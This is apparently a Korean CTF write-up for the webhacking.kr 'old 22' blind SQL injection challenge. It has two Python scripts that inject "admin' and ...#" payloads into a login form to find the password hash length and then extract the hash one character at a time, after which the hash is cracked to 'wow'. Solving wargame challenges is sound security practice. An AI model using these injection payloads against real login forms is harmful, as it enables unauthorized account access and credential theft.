webhacking.kr old 22번(blind sql injection)

guest/guest로 join

 

qwerty/qwerty로 join해도 해시 crack해보면 qwertyapple인 것을 알 수 있다.

 

DB에 입력한 비밀번호+"apple"로 저장되는 듯

---

import requests

i=1
while True:
    URL = f"https://webhacking.kr/challenge/bonus-2/"
    data = {
        "uuid" : f"admin' and length(pw)={i}#",
        "pw" : "asdf"
    }
    res = requests.post(URL, data=data)
    if "Wrong password!" in res.text:
        print(i)
        break
    i+=1

=> 32 (길이)

 

import requests
pw=""
for i in range(1, 33):
    for c in range(48, 123):
        URL = f"https://webhacking.kr/challenge/bonus-2/"
        data = {
            "uuid" : f"admin' and substr(pw,{i},1)=char({c})#",
            "pw" : "asdf"
        }
        res = requests.post(URL, data=data)
        if "Wrong password!" in res.text:
            pw+=chr(c)
            print(pw)
            break
print(pw.lower())

=> 6c9ca386a903921d7fa230ffa0ffc153

 

https://www.md5online.org/md5-decrypt.html

MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

wowapple => wow